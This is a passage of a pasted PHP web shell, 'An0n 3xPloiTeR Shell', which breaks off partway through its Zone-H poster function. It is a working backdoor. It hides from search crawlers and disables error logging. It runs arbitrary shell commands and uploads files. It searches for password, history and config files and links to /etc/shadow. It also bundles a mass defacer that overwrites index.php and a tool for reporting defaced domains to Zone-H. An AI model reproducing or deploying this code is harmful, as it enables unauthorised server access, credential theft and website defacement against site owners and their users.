· 9 years ago · Jan 21, 2017, 05:32 AM
1<?php
2$default_action = 'FilesMan';
3$default_use_ajax = true;
4
5if(!empty($_SERVER['HTTP_USER_AGENT'])) {
6 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
7 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10 }
11}
12
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17@define('An0n 3xPloiTeR Shell');
18
19if(get_magic_quotes_gpc()) {
20 function An0n3xPloiTeRstripslashes($array) {
21 return is_array($array) ? array_map('An0n3xPloiTeRstripslashes', $array) : stripslashes($array);
22 }
23 $_POST = An0n3xPloiTeRstripslashes($_POST);
24 $_COOKIE = An0n3xPloiTeRstripslashes($_COOKIE);
25}
26
27function An0n3xPloiTeRlogin() {
28 die ('<!DOCTYPE html>
29<html>
30 <head>
31 <title>Shell Login</title>
32 <meta charset="UTF-8">
33 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
34 <meta name="description" content="Sites description">
35 <meta name="about" content="Made By An0n 3xPloiTeR">
36 <meta name="description" content="For Logging into the system">
37 <style>
38 .body {
39 margin-top: 7vh;
40 text-transform: capitalize;
41 background: black url("http://i63.tinypic.com/dvk9wi.jpg");
42 background-repeat:no-repeat;
43 background-position: center;
44 background-attachment: fixed;
45 -webkit-background-size: cover;
46 -moz-background-size: cover;
47 -o-background-size: cover;
48 background-size: cover;
49 }
50 .font {
51 font-family: calibri;
52 font-size: 300%;
53 text-align: center;
54 color: white;
55 }
56 .upass {
57 margin-top: 70vh;
58 font-family: calibri;
59 font-size: 100%;
60 text-align: center;
61 color: black;
62 }
63 .input {
64 margin:0;background-color:black;border:1px solid black;
65 }
66 </style>
67 <script language="JavaScript1.2">
68 function ejs_nodroit(){
69 alert("Login Please!");
70 return(false);
71 }
72 document.oncontextmenu = ejs_nodroit;
73 </script>
74 </head>
75
76 <body class="body">
77 <div class="font">
78 <font>login Page</font><br>
79 </div>
80 <div class="upass">
81 <form method=post>
82 <input class="input" type="password" name="pass" size="25"/>
83 </form>
84 </div>
85 </body>
86</html>');
87}
88
89function An0n3xPloiTeRsetcookie($k, $v) {
90 $_COOKIE[$k] = $v;
91 setcookie($k, $v);
92}
93
94if(!empty($auth_pass)) {
95 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
96 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
97
98 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
99 An0n3xPloiTeRLogin();
100}
101
102if(strtolower(substr(PHP_OS,0,3)) == "win")
103 $os = 'win';
104else
105 $os = 'nix';
106
107$safe_mode = @ini_get('safe_mode');
108if(!$safe_mode)
109 error_reporting(0);
110
111$disable_functions = @ini_get('disable_functions');
112$home_cwd = @getcwd();
113if(isset($_POST['c']))
114 @chdir($_POST['c']);
115$cwd = @getcwd();
116if($os == 'win') {
117 $home_cwd = str_replace("\\", "/", $home_cwd);
118 $cwd = str_replace("\\", "/", $cwd);
119}
120if($cwd[strlen($cwd)-1] != '/')
121 $cwd .= '/';
122
123if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
124 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
125
126if($os == 'win')
127 $aliases = array(
128 "List Directory" => "dir",
129 "Find index.php in current dir" => "dir /s /w /b index.php",
130 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
131 "Show active connections" => "netstat -an",
132 "Show running services" => "net start",
133 "User accounts" => "net user",
134 "Show computers" => "net view",
135 "ARP Table" => "arp -a",
136 "IP Configuration" => "ipconfig /all"
137 );
138else
139 $aliases = array(
140 "List dir" => "ls -lha",
141 "list file attributes on a Linux second extended file system" => "lsattr -va",
142 "show opened ports" => "netstat -an | grep -i listen",
143 "process status" => "ps aux",
144 "Find" => "",
145 "find suid" => "find / -type f -perm -04000 -ls",
146 "find suid in current dir" => "find . -type f -perm -04000 -ls",
147 "find sgid" => "find / -type f -perm -02000 -ls",
148 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
149 "find config.inc.php" => "find / -type f -name config.inc.php",
150 "find config*" => "find / -type f -name \"config*\"",
151 "find config* in current dir" => "find . -type f -name \"config*\"",
152 "find writable folders and files" => "find / -perm -2 -ls",
153 "find writable folders and files in current dir" => "find . -perm -2 -ls",
154 "find service.pwd" => "find / -type f -name service.pwd",
155 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
156 "find .htpasswd" => "find / -type f -name .htpasswd",
157 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
158 "find .bash_history" => "find / -type f -name .bash_history",
159 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
160 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
161 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
162 "Locate" => "",
163 "locate httpd.conf" => "locate httpd.conf",
164 "locate vhosts.conf" => "locate vhosts.conf",
165 "locate proftpd.conf" => "locate proftpd.conf",
166 "locate psybnc.conf" => "locate psybnc.conf",
167 "locate my.conf" => "locate my.conf",
168 "locate admin.php" =>"locate admin.php",
169 "locate cfg.php" => "locate cfg.php",
170 "locate conf.php" => "locate conf.php",
171 "locate config.dat" => "locate config.dat",
172 "locate config.php" => "locate config.php",
173 "locate config.inc" => "locate config.inc",
174 "locate config.inc.php" => "locate config.inc.php",
175 "locate config.default.php" => "locate config.default.php",
176 "locate config*" => "locate config",
177 "locate .conf"=>"locate '.conf'",
178 "locate .pwd" => "locate '.pwd'",
179 "locate .sql" => "locate '.sql'",
180 "locate .htpasswd" => "locate '.htpasswd'",
181 "locate .bash_history" => "locate '.bash_history'",
182 "locate .mysql_history" => "locate '.mysql_history'",
183 "locate .fetchmailrc" => "locate '.fetchmailrc'",
184 "locate backup" => "locate backup",
185 "locate dump" => "locate dump",
186 "locate priv" => "locate priv"
187 );
188
189function An0n3xPloiTeRHeader() {
190 if(empty($_POST['charset']))
191 $_POST['charset'] = $GLOBALS['default_charset'];
192 global $color;
193 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><link rel='SHORTCUT ICON' href='http://i63.tinypic.com/dvk9wi.jpg'><title>An0n 3xPloiTeR Shell</title>
194<script type='text/javascript'>
195function tukar(lama,baru){
196 document.getElementById(lama).style.display = 'none';
197 document.getElementById(baru).style.display = 'block';
198}
199</script><script language='JavaScript1.2'>
200 function ejs_nodroit(){
201 alert('Script Kiddie Found !!! :P');
202 return(false);
203 }
204 document.oncontextmenu = ejs_nodroit;
205 </script>";
206 ?>
207
208<script language='javascript'>
209if (document.all||document.getElementById){
210var thetitle=document.title
211document.title=''
212}
213var data="9494 Team Pak Cyber Ghosts 3215135138321";
214var done=1;
215function statusIn(text){
216decrypt(text,22,22);
217}
218function statusOut(){
219self.status='';
220done=1;
221}
222function decrypt(text, max, delay){
223if (done){
224done = 0;
225rantit(text, max, delay, 0, max);
226}
227}
228function rantit(text, runs_left, delay, charvar, max){
229if (!done){
230runs_left = runs_left - 1;
231var status = text.substring(0,charvar);
232for(var current_char = charvar; current_char < text.length; current_char++){
233status += data.charAt(Math.round(Math.random()*data.length));
234}
235document.title = status;
236var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
237var new_char = charvar + 1;
238var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
239if(runs_left > 0){
240setTimeout(rerun, delay);
241}
242else{
243if (charvar < text.length){
244setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
245}
246else
247{
248done = 1;
249}
250}
251}
252}
253if (document.all||document.getElementById)
254statusIn(thetitle)
255</script>
256
257 <?php
258 echo "
259<style>
260body{background-color:#222;color:#e1e1e1;}
261body,td,th{ font: 10pt Comic Sans MS, sans-serif;margin:0;vertical-align:top;color:#e1e1e1; }
262table.info{ color:#fff;background: url('http://i63.tinypic.com/dvk9wi.jpg');
263 background-repeat:no-repeat;
264 background-position: top;
265 background-attachment: fixed;
266 -webkit-background-size: cover;
267 -moz-background-size: cover;
268 -o-background-size: cover;
269 background-size: cover;}
270span,h1,a{ color: $color !important; }
271span{ font-weight: bolder; }
272h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:teal;margin:0px; }
273div.content{ padding: 5px;margin-left:5px;background-color:#333; }
274a{ text-decoration:none; }
275a:hover{ text-decoration:underline; }
276.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
277.bigarea{ width:100%;height:300px; }
278input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
279input[type='button']:hover,input[type='submit']:hover {background-color: $color;color:#000;}
280form{ margin:0px; }
281#toolsTbl{ text-align:center; }
282.toolsInp{ width: 300px }
283.main th{text-align:left;background-color:#5e5e5e;}
284.main tr:hover{background-color:#5e5e5e}
285.l1{background-color:#444}
286.l2{background-color:#333}
287pre{font-family:Courier,Monospace;}
288</style>
289<script>
290 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
291 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
292 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
293 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
294 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
295 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
296 var d = document;
297 function set(a,c,p1,p2,p3,charset) {
298 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
299 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
300 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
301 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
302 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
303 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
304 }
305 function g(a,c,p1,p2,p3,charset) {
306 set(a,c,p1,p2,p3,charset);
307 d.mf.submit();
308 }
309 function a(a,c,p1,p2,p3,charset) {
310 set(a,c,p1,p2,p3,charset);
311 var params = 'ajax=true';
312 for(i=0;i<d.mf.elements.length;i++)
313 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
314 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
315 }
316 function sr(url, params) {
317 if (window.XMLHttpRequest)
318 req = new XMLHttpRequest();
319 else if (window.ActiveXObject)
320 req = new ActiveXObject('Microsoft.XMLHTTP');
321 if (req) {
322 req.onreadystatechange = processReqChange;
323 req.open('POST', url, true);
324 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
325 req.send(params);
326 }
327 }
328 function processReqChange() {
329 if( (req.readyState == 4) )
330 if(req.status == 200) {
331 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
332 var arr=reg.exec(req.responseText);
333 eval(arr[2].substr(0, arr[1]));
334 } else alert('Request error!');
335 }
336</script>
337<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
338<form method=post name=mf style='display:none;'>
339<input type=hidden name=a>
340<input type=hidden name=c>
341<input type=hidden name=p1>
342<input type=hidden name=p2>
343<input type=hidden name=p3>
344<input type=hidden name=charset>
345</form>";
346 $freeSpace = @diskfreespace($GLOBALS['cwd']);
347 $totalSpace = @disk_total_space($GLOBALS['cwd']);
348 $totalSpace = $totalSpace?$totalSpace:1;
349 $release = @php_uname('r');
350 $kernel = @php_uname('s');
351 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
352 if(strpos('Linux', $kernel) !== false)
353 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
354 else
355 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
356 if(!function_exists('posix_getegid')) {
357 $user = @get_current_user();
358 $uid = @getmyuid();
359 $gid = @getmygid();
360 $group = "?";
361 } else {
362 $uid = @posix_getpwuid(posix_geteuid());
363 $gid = @posix_getgrgid(posix_getegid());
364 $user = $uid['name'];
365 $uid = $uid['uid'];
366 $group = $gid['name'];
367 $gid = $gid['gid'];
368 }
369
370 $cwd_links = '';
371 $path = explode("/", $GLOBALS['cwd']);
372 $n=count($path);
373 for($i=0; $i<$n-1; $i++) {
374 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
375 for($j=0; $j<=$i; $j++)
376 $cwd_links .= $path[$j].'/';
377 $cwd_links .= "\")'>".$path[$i]."/</a>";
378 }
379
380 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
381 $opt_charsets = '';
382 foreach($charsets as $item)
383 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
384
385 $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','Defacer' => 'Deface','Shells'=>'Shells','Tools'=> 'Tools','Port Scanner' => 'PortScanner','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Back-Connect'=>'Network','Injector'=>'Injector','Domains' => 'Domain','Zone-h' => 'ZHposter','About Me'=>'About');
386 if(!empty($GLOBALS['auth_pass']))
387 $m['Logout'] = 'Logout';
388 $m['Self remove'] = 'SelfRemove';
389 $menu = '';
390 foreach($m as $k => $v)
391 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
392
393 if($GLOBALS['os'] == 'nix') {
394 $dominios = @file_get_contents("/etc/named.conf");
395 if(!$dominios) {
396 $DomainS = "/var/named";
397 $Domainonserver = scandir($DomainS);
398 $d0c = count($Domainonserver);
399 } else {
400 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
401 $out = sizeof(array_unique($out[1]));
402 $d0c = $out." Domains";
403 }
404 } else {
405 $d0c = "None";
406 }
407
408 $drives = "";
409 if($GLOBALS['os'] == 'win') {
410 foreach(range('c','z') as $drive)
411 if(is_dir($drive.':\\'))
412 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
413 }
414 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
415 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
416 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('h:i:s d-m-Y') . '<br>' . An0n3xPloiTeRViewSize($totalSpace) . ' <span>Free:</span> ' . An0n3xPloiTeRViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. An0n3xPloiTeRPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . ''
417 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Domains : </span>' .$d0c. '<br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
418 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
419}
420
421function An0n3xPloiTeRFooter() {
422 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
423 echo "
424</div>
425<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
426 <tr>
427 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
428 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
429 </tr><tr><hr>
430 <center><form action='' method='POST'><input type='submit' name='defacepage' value='Add Deface Here'></form></center><hr>
431 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
432 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
433 </tr><tr>
434 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
435 <td><form method='post' ENCTYPE='multipart/form-data'>
436 <input type=hidden name=a value='FilesMAn'>
437 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
438 <input type=hidden name=p1 value='uploadFile'>
439 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
440 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
441 </tr></table></div></body></html>";
442}
443
444if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
445 function posix_getpwuid($p) {return false;} }
446if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
447 function posix_getgrgid($p) {return false;} }
448
449function An0n3xPloiTeREx($in) {
450 $out = '';
451 if (function_exists('exec')) {
452 @exec($in,$out);
453 $out = @join("\n",$out);
454 } elseif (function_exists('passthru')) {
455 ob_start();
456 @passthru($in);
457 $out = ob_get_clean();
458 } elseif (function_exists('system')) {
459 ob_start();
460 @system($in);
461 $out = ob_get_clean();
462 } elseif (function_exists('shell_exec')) {
463 $out = shell_exec($in);
464 } elseif (is_resource($f = @popen($in,"r"))) {
465 $out = "";
466 while(!@feof($f))
467 $out .= fread($f,1024);
468 pclose($f);
469 }
470 return $out;
471}
472
473function An0n3xPloiTeRViewSize($s) {
474 if (is_int($s))
475 $s = sprintf("%u", $s);
476
477 if($s >= 1073741824)
478 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
479 elseif($s >= 1048576)
480 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
481 elseif($s >= 1024)
482 return sprintf('%1.2f', $s / 1024 ) . ' KB';
483 else
484 return $s . ' B';
485}
486
487function An0n3xPloiTeRPerms($p) {
488 if (($p & 0xC000) == 0xC000)$i = 's';
489 elseif (($p & 0xA000) == 0xA000)$i = 'l';
490 elseif (($p & 0x8000) == 0x8000)$i = '-';
491 elseif (($p & 0x6000) == 0x6000)$i = 'b';
492 elseif (($p & 0x4000) == 0x4000)$i = 'd';
493 elseif (($p & 0x2000) == 0x2000)$i = 'c';
494 elseif (($p & 0x1000) == 0x1000)$i = 'p';
495 else $i = 'u';
496 $i .= (($p & 0x0100) ? 'r' : '-');
497 $i .= (($p & 0x0080) ? 'w' : '-');
498 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
499 $i .= (($p & 0x0020) ? 'r' : '-');
500 $i .= (($p & 0x0010) ? 'w' : '-');
501 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
502 $i .= (($p & 0x0004) ? 'r' : '-');
503 $i .= (($p & 0x0002) ? 'w' : '-');
504 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
505 return $i;
506}
507
508function An0n3xPloiTeRPermsColor($f) {
509 if (!@is_readable($f))
510 return '<font color=#FF0000>' . An0n3xPloiTeRPerms(@fileperms($f)) . '</font>';
511 elseif (!@is_writable($f))
512 return '<font color=white>' . An0n3xPloiTeRPerms(@fileperms($f)) . '</font>';
513 else
514 return '<font color=#25ff00>' . An0n3xPloiTeRPerms(@fileperms($f)) . '</font>';
515}
516
517function An0n3xPloiTeRScandir($dir) {
518 if(function_exists("scandir")) {
519 return scandir($dir);
520 } else {
521 $dh = opendir($dir);
522 while (false !== ($filename = readdir($dh)))
523 $files[] = $filename;
524 return $files;
525 }
526}
527
528function An0n3xPloiTeRWhich($p) {
529 $path = An0n3xPloiTeREx('which ' . $p);
530 if(!empty($path))
531 return $path;
532 return false;
533}
534
535function actionSecInfo() {
536 An0n3xPloiTeRHeader();
537 echo '<center><h1>Server security information</h1></center><div class=content>';
538 function An0n3xPloiTeRSecParam($n, $v) {
539 $v = trim($v);
540 if($v) {
541 echo '<span>' . $n . ': </span>';
542 if(strpos($v, "\n") === false)
543 echo $v . '<br>';
544 else
545 echo '<pre class=ml1>' . $v . '</pre>';
546 }
547 }
548
549 An0n3xPloiTeRSecParam('Server software', @getenv('SERVER_SOFTWARE'));
550 if(function_exists('apache_get_modules'))
551 An0n3xPloiTeRSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
552 An0n3xPloiTeRSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
553 An0n3xPloiTeRSecParam('Open base dir', @ini_get('open_basedir'));
554 An0n3xPloiTeRSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
555 An0n3xPloiTeRSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
556 An0n3xPloiTeRSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
557 $temp=array();
558 if(function_exists('mysql_get_client_info'))
559 $temp[] = "MySql (".mysql_get_client_info().")";
560 if(function_exists('mssql_connect'))
561 $temp[] = "MSSQL";
562 if(function_exists('pg_connect'))
563 $temp[] = "PostgreSQL";
564 if(function_exists('oci_connect'))
565 $temp[] = "Oracle";
566 An0n3xPloiTeRSecParam('Supported databases', implode(', ', $temp));
567 echo '<br>';
568
569 if($GLOBALS['os'] == 'nix') {
570 An0n3xPloiTeRSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
571 An0n3xPloiTeRSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
572 An0n3xPloiTeRSecParam('OS version', @file_get_contents('/proc/version'));
573 An0n3xPloiTeRSecParam('Distr name', @file_get_contents('/etc/issue.net'));
574 if(!$GLOBALS['safe_mode']) {
575 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
576 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
577 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
578 echo '<br>';
579 $temp=array();
580 foreach ($userful as $item)
581 if(An0n3xPloiTeRWhich($item))
582 $temp[] = $item;
583 An0n3xPloiTeRSecParam('Userful', implode(', ',$temp));
584 $temp=array();
585 foreach ($danger as $item)
586 if(An0n3xPloiTeRWhich($item))
587 $temp[] = $item;
588 An0n3xPloiTeRSecParam('Danger', implode(', ',$temp));
589 $temp=array();
590 foreach ($downloaders as $item)
591 if(An0n3xPloiTeRWhich($item))
592 $temp[] = $item;
593 An0n3xPloiTeRSecParam('Downloaders', implode(', ',$temp));
594 echo '<br/>';
595 An0n3xPloiTeRSecParam('HDD space', An0n3xPloiTeREx('df -h'));
596 An0n3xPloiTeRSecParam('Hosts', @file_get_contents('/etc/hosts'));
597 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
598 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
599 $temp = "";
600 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
601 $uid = @posix_getpwuid($_POST['p2']);
602 if ($uid)
603 $temp .= join(':',$uid)."\n";
604 }
605 echo '<br/>';
606 An0n3xPloiTeRSecParam('Users', $temp);
607 }
608 }
609 } else {
610 An0n3xPloiTeRSecParam('OS Version',An0n3xPloiTeREx('ver'));
611 An0n3xPloiTeRSecParam('Account Settings',An0n3xPloiTeREx('net accounts'));
612 An0n3xPloiTeRSecParam('User Accounts',An0n3xPloiTeREx('net user'));
613 }
614 echo '</div>';
615 An0n3xPloiTeRFooter();
616}
617
618
619function actionDeface() {
620 An0n3xPloiTeRHeader();
621 echo "<center><h1>Mass Defacer</h1></center><div class=content>";
622?>
623
624<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
625<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
626<br>file name : <input type=text name=file size=20 value="index.php">
627<br>Text Content : <input type=text name=Contents size=20 value="<title>Hacked By An0n 3xPloiTeR</title>">
628<br><input type=submit value="Update"></p></form>
629
630<?php
631 if ($_POST['a'] == 'Deface') {
632 $mainpath = $_POST[p1];
633 $file = $_POST[p2];
634 $txtContents = $_POST[p3];
635 echo "-----------------------------------------------<br>
636[+] Single user Mass defacer [+]<br>
637-----------------------------------------------<br><br> ";
638 $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
639 while ($row = readdir($dir)) {
640 $start = @fopen("$row/$file", "w");
641 $code = $txtContents;
642 $finish = @fwrite($start, $code);
643 if ($finish) {
644 echo "$row/$file > Done<br><br>";
645 }
646 }
647 echo "-----------------------------------------------<br><br>[+] Script by An0n 3xPloiTeR [+]";
648 }
649 echo '</div>';
650 An0n3xPloiTeRFooter();
651
652
653
654 }
655 function actionZHposter() {
656 An0n3xPloiTeRHeader();
657 echo '<center><h1>Zone-H Poster</h1></center></center><br><div class=content>';
658 echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
659<input type="text" name="p1" size="40" value="An0n 3xPloiTeR" /></br>
660<select name="p2">
661<option >--------SELECT--------</option>
662<option value="1">known vulnerability (i.e. unpatched system)</option>
663<option value="2" >undisclosed (new) vulnerability</option>
664<option value="3" >configuration / admin. mistake</option>
665<option value="4" >brute force attack</option>
666<option value="5" >social engineering</option>
667<option value="6" >Web Server intrusion</option>
668<option value="7" >Web Server external module intrusion</option>
669<option value="8" >Mail Server intrusion</option>
670<option value="9" >FTP Server intrusion</option>
671<option value="10" >SSH Server intrusion</option>
672<option value="11" >Telnet Server intrusion</option>
673<option value="12" >RPC Server intrusion</option>
674<option value="13" >Shares misconfiguration</option>
675<option value="14" >Other Server intrusion</option>
676<option value="15" >SQL Injection</option>
677<option value="16" >URL Poisoning</option>
678<option value="17" >File Inclusion</option>
679<option value="18" >Other Web Application bug</option>
680<option value="19" >Remote administrative panel access bruteforcing</option>
681<option value="20" >Remote administrative panel access password guessing</option>
682<option value="21" >Remote administrative panel access social engineering</option>
683<option value="22" >Attack against administrator(password stealing/sniffing)</option>
684<option value="23" >Access credentials through Man In the Middle attack</option>
685<option value="24" >Remote service password guessing</option>
686<option value="25" >Remote service password bruteforce</option>
687<option value="26" >Rerouting after attacking the Firewall</option>
688<option value="27" >Rerouting after attacking the Router</option>
689<option value="28" >DNS attack through social engineering</option>
690<option value="29" >DNS attack through cache poisoning</option>
691<option value="30" >Not available</option>
692</select>
693</br>
694<select name="p3">
695<option >--------SELECT--------</option>
696<option value="1" >Heh...just for fun!</option>
697<option value="2" >Revenge against that website</option>
698<option value="3" >Political reasons</option>
699<option value="4" >As a challenge</option>
700<option value="5" >I just want to be the best defacer</option>
701<option value="6" >Patriotism</option>
702<option value="7" >Not available</option>
703</select>
704</br>
705<textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
706<input type="submit" value="Send Now !" />
707</form>';
708 echo "</td></tr></table></form>";
709 if ($_POST['a'] == 'ZHposter') {
710 ob_start();
711 $sub = @get_loaded_extensions();
712 if (!in_array("curl", $sub)) {
713 die('[-] Curl Is Not Supported !! ');
714 }
715 $hacker9 = $_POST['p1'];
716 $method9 = $_POST['p2'];
717 $neden9 = $_POST['p3'];
718 $site9 = $_POST['p4'];
719 if (empty($hacker9)) {
720 die("[-] You Must Fill the Attacker name !");
